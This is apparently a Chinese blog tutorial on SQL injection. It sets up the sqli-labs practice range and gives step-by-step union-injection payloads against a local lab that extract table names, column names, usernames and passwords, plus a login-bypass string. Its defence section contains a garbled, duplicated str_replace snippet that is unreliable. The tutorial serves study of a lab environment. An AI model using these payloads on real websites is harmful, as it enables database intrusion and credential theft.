SQL注入原理

SQL注入定义

SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句

SQL注入原理

注入的本质:将用户输入的数据拼接到原始代码中,从而使得被注入的数据被当做代码执行。

SQL注入原理:服务器端未严格校验客户端发送的数据,而导致服务器端SQL语句被恶意修改并成功执行的行为

sql注入的核心:将用户的输入拼接到代码中,并被当做sql语句执行

两个关机条件:

1、用户可以控制传参

2、原本程序要执行的代码,拼接进了用户输入的数据并且成功执行。

SQL注入可能出现的位置

核心:与数据库产生交互的地方,就有可能存在注入。

sql注入的危害

危害包括但不局限于:

1.数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。

2.网页篡改:通过操作数据库对特定网页进行篡改。

3.网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。

4.数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。

5.服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。

6.破坏硬盘数据,瘫痪全系统。

一些类型的数据库系统能够让SQL指令操作文件系统,这使得SQL注入的危害被进一步放大。

SQL注入分类

按照数据类型

数字型注入

字符型注入

按照HTTP请求方法

•GET型注入

•POST型注入

按照注入方式

•联合注入

•报错注入

•布尔盲注

•时间盲注

•宽字节注入

•Cookie注入

靶场搭建

PHP study

让天下没有难配的服务器环境

快速搭建网站

支持一键LAMP,LNMP,集群,监控,网站,FTP,数据库,JAVA等100多项服务器管理功能

Windows版本下载地址:https://www.xp.cn/download.html

sqli-labs

•SQLi-Labs是一个专业的SQL注入练习平台,适用于GET和POST场景

修改sql-connections文件夹下面的db-creds.inc文件

下载地址:https://github.com/Audi-1/sqli-labs

安装教程:https://blog.csdn.net/qq_43036356/article/details/130836422

手工注入流程

##数字型注入:

探测漏洞是否存在    and 1=1     and 1=2  或者    '   或者  \

判断字段数   http://127.0.0.1/sqli/Less-2/?id=1 order by 4  
?id=1' order by 6
联合查询得到输出点   http://127.0.0.1/sqli/Less-2/?id=9999 union select 1,2,3

查询数据库版本        http://127.0.0.1/sqli/Less-2/?id=9999 union select 1,2,version()

查询表名   
   http://127.0.0.1/sqli/Less-2/?id=9999 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
   
查询users表的字段名 
   http://127.0.0.1/sqli/Less-2/?id=9999 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
   
查询username,password 字段数据  
   http://127.0.0.1/sqli/Less-2/?id=9999 union select 1,group_concat(username),group_concat(password) from users

字符型注入

探测漏洞是否存在    ' -- asd

判断字段数   ' order by 4 -- asd  

联合查询得到输出点  http://127.0.0.1/sqli/Less-1/?id=999' union select 1,2,3 -- asd

查询数据库版本        http://127.0.0.1/sqli/Less-1/?id=999' union select 1,2,version() -- asd

查询表名   
   http://127.0.0.1/sqli/Less-1/?id=999' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- asd
   
查询users表的字段名 
   http://127.0.0.1/sqli/Less-1/?id=999' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- asd
   
查询username,password 字段数据  
   http://127.0.0.1/sqli/Less-1/?id=999' union select 1,group_concat(username),group_concat(password) from users -- asd 


手工注入基本流程

在这里插入图片描述

order by(排序,用来判断字段数)
union select (联合查询,用来查询自己想要得到的数据)
database()(可以用来查询数据库)
limit 0,1(限制输出,0表示下标,1表示数量)

information_schema(mysql数据库5.0及以上版本,自带数据库,他记录了mysql数据库下所有的数据库名,表名,列名信息)
information_schema.tables(记录表名信息的表)
information_schema.columns(记录列名信息的表)
table_name (表名)
column_name (列名)and 1=2 union select 1,2
table_schema (数据库名)

联合注入流程

在这里插入图片描述


SQL注入的防御

过滤的对象

​ 用户的输入

​ 提交的URL请求中的参数部分

​ 从cookie中得到的数据

​ 部署防SQL注入系统或脚本

过滤特殊字符:

​ 单引号、双引号、斜杠、反斜杠、冒号、空字符等的字符,如图PHP中利用

str_replace方法把特殊字符替换成空格,

比如 a = s t r r e p l a c e ( " s e l e c t " , " " , a = str_replace("select","", a=strreplace("select","",a);
过滤的对象**

​ 用户的输入

​ 提交的URL请求中的参数部分

​ 从cookie中得到的数据

​ 部署防SQL注入系统或脚本

过滤特殊字符:

​ 单引号、双引号、斜杠、反斜杠、冒号、空字符等的字符,如图PHP中利用

str_replace方法把特殊字符替换成空格,

比如 a = s t r r e p l a c e ( " s e l e c t " , " " , a = str_replace("select","", a=strreplace("select","",a);

  • 4
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
SQL注入是一种常见的网络安全漏洞,攻击者可以通过在用户输入的数据中插入恶意的SQL语句来实现对数据库的非授权访问。 盲注是一种特殊的SQL注入技术,它在攻击过程中无法直接获取到数据库返回的具体信息,但通过不断地进行布尔盲注或时间盲注来推断出数据的一些特征。 在进行盲注时,攻击者通常会使用布尔盲注或时间盲注的方法来逐渐推断出数据库中的信息。布尔盲注是通过构造恶意的SQL语句,利用数据库的布尔逻辑判断条件来判断某个条件是否成立,从而推断出数据的一些特征。时间盲注则是通过构造恶意的SQL语句,利用数据库的延时函数来判断某个条件是否成立,从而推断出数据的一些特征。 例如,在一个登录功能中存在SQL注入漏洞的情况下,攻击者可以构造恶意的输入来绕过登录验证,比如输入 `' OR '1'='1';--`,这会导致SQL语句变成类似 `SELECT * FROM users WHERE username='' OR '1'='1';--' AND password=''` 的形式,其中 `' OR '1'='1'` 的条件永远为真,绕过了用户名和密码的验证。 这就是SQL注入盲注的基本原理攻击者通过构造恶意的输入来篡改原有的SQL语句,从而获取数据库中的信息或实现其他非授权操作。为了防止SQL注入攻击,开发者需要对用户输入进行严格的验证和过滤,使用参数化查询或预编译语句来防止恶意SQL注入的发生。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值